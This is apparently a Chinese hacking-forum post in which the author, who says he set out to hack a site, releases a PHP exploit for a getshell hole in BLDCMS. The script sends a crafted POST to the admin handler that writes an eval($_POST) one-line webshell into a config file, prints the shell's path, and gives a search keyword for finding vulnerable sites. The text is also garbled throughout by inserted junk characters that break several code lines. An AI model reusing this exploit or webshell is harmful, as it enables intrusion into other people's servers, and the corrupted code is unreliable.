之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞" ?0 h5 _3 m( A2 d$ N
7 t1 e& j9 h; y/ x$ W6 `. U6 p( O - s5 i5 x9 Q6 P. _+ q0 `3 G
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 : X! g! \( \; Z2 u3 E! B
/ l# n" ]/ x8 T! ^- Q0 \& V既然都有人发了 我就把我之前写好的EXP放出来吧
+ q0 `) Y" s! u0 c 9 I1 c& W0 n/ k) N3 p5 Z7 K4 }$ j
view source print?01.php;">
2 v2 {) } y7 d9 [3 X02.<!--?php
2 N- ?* [: j5 `% R& @: \+ {03.echo "-------------------------------------------------------------------
: O' N0 [7 N$ M; B04.
! c! P4 B) e- j+ B; i* V05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
9 q% E) V H3 K; g4 n8 x06. 6 F: A0 k6 n5 M. j' T
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
$ O/ b$ K, Z7 r8 G08.
8 Q, x! S5 N, G5 X; c09.QQ:981009941\r\n 2013.3.21\r\n
2 G7 V+ c! v( ?10. + W4 a5 @2 y) r6 u
11. 7 T* G+ p( C9 ^4 [" _ O6 ~
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
+ C' K0 R2 y2 C( W13. , }5 X% R- L7 M; J+ K4 r
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
7 J% W8 C# E) k2 _$ o, E& q7 e15.
- @* b+ x; L: y0 J16.--------------------------------------------------------------------\r\n";
3 R- V( L) N& N- z+ ?17.$url=$argv[1];
. l) z1 H" C; N8 i% d- B$ W18.$dir=$argv[2];
o- r- n( N' p) e, R19.$pass=$argv[3];
1 n- u. {, s- d# n+ m; R9 s* T20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
) |3 G' L; U! n% F; g; C. b) M21.if (emptyempty($pass)||emptyempty($url))
# Q1 o: r. a5 c2 L( [% F2 ^22.{exit("请输入参数");} |+ R; O& f1 F. j! M
23.else
, I* P6 u- w: T( L& W& g! H, A24.{
2 J) r1 [: w1 [5 L: F+ L! }25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev/ L, g* J4 \. t# \% p
26. : V {0 Z' ]9 d: x
27.al;; a/ Z* }% i( o9 |/ F- |( x
28.$length = strlen($fuckdata);
. C* U( T f. L( c29.function getshell($url,$pass)
" e% ]! W Z" T# m7 q30.{
6 ] X% Q( @( b; \. e* l r31.global $url,$dir,$pass,$eval,$length,$fuckdata;0 W: Q8 @1 Z( a' f9 h1 Z4 j( N
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
( g/ H, ^( E. v0 J33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
. P: g/ ]" A6 l& C34.$header .= "User-Agent: MSIE\r\n";
D% S, ` E: r3 k35.$header .= "Host:".$url."\r\n";
- n$ E+ q; o% q4 }& l" [36.$header .= "Content-Length: ".$length."\r\n";. \# s8 ~/ `! w
37.$header .= "Connection: Close\r\n";
+ F0 I# {( a+ q7 y# E7 s& u38.$header .="\r\n";
( L& o9 r x: ~; S$ n" D+ s8 G39.$header .= $fuckdata."\r\n\r\n";# ~" J" T7 ?7 `. v* \* N# j
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
( ^ k: s. h4 x; P% K7 C t: A5 X41.if (!$fp)) J' u: {3 k, z$ I! f/ i s+ C
42.{2 G9 u/ ^' `- Z. }
43.exit ("利用失败:请检查指定目标是否能正常打开");( b* w x6 B4 u' ^# [: L' s y8 ?
44.}
- l# ?% P4 B- S3 Q9 H: c45.else{ if (!fputs($fp,$header))
- d" j) K# }8 p) p. N3 R2 ^% R& v4 C# o46.{exit ("利用失败");}9 i+ u0 c# i" C/ \8 N
47.else
8 x8 ^+ m; y$ w0 m- g48.{
% o* H. o# F* Y V/ e1 C6 m" f/ l1 x49.$receive = '';$ \% U$ _: X% {
50.while (!feof($fp)) {+ y* E( M. g( H" ~" D
51.$receive .= @fgets($fp, 1000);/ D0 H* P+ G0 L3 |1 {
52.}: e* E2 c) o# Y* e
53.@fclose($fp);) v8 M/ p" o/ z! Q1 o1 x, w
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
0 y. z; Q, i9 i- k5 H# V) S55. % m+ t7 ^# R. @+ l8 V+ ]6 F, u
56.GPC是否=off)";+ a& N$ c" i; [7 d% W
57.}} \$ B8 _/ k' b2 l/ K! Y! u
58.}4 u. A$ e. m( o$ P
59.}4 Y6 I7 W) E: m# {! e$ u8 i
60.getshell($url,$pass);
2 _ n( {4 i9 S7 K% y' V61.?-->
2 \; \& ?% z$ ]: c; v5 h* E$ G" N, Z
" }& O8 q2 W5 J; `/ q& P# [9 V I- L0 j
s( V* D- ]: o4 a: b4 E3 b" X
by 数据流1 _" S& z: u$ L: i$ B; l7 [% m5 C
|